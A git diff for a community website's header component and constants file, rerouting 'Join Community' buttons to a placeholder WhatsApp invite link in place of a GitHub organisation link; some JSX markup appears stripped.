diff --git a/src/components/layout/header.tsx b/src/components/layout/header.tsx
index 59a9b71..87316cf 100644
--- a/src/components/layout/header.tsx
+++ b/src/components/layout/header.tsx
@@ -32,7 +32,7 @@ export function Header() {
{/* Desktop CTA */}
-
+
Join Community
@@ -67,7 +67,7 @@ export function Header() {
))}
setIsMenuOpen(false)}
>
diff --git a/src/lib/constants.ts b/src/lib/constants.ts
index 26e0239..5d0df7c 100644
--- a/src/lib/constants.ts
+++ b/src/lib/constants.ts
@@ -17,9 +17,8 @@ export const navigationItems = [
// TODO: replace the placeholder values below with the real ones.
// ─────────────────────────────────────────────────────────────────────────────
export const communityLinks = {
- // Primary "Join Community" CTA (header, hero, team, events, contact)
- join: "https://github.com/djangorwanda", // TODO: real signup/landing link
- // WhatsApp community invite (footer "Get Involved")
+ // Primary "Join Community" entry point — drives every Join/Register CTA
+ // (header, hero, team, events, footer "Get Involved" + "Join Us").
whatsapp: "https://chat.whatsapp.com/your-invite-code", // TODO: real WhatsApp invite link
// Social / code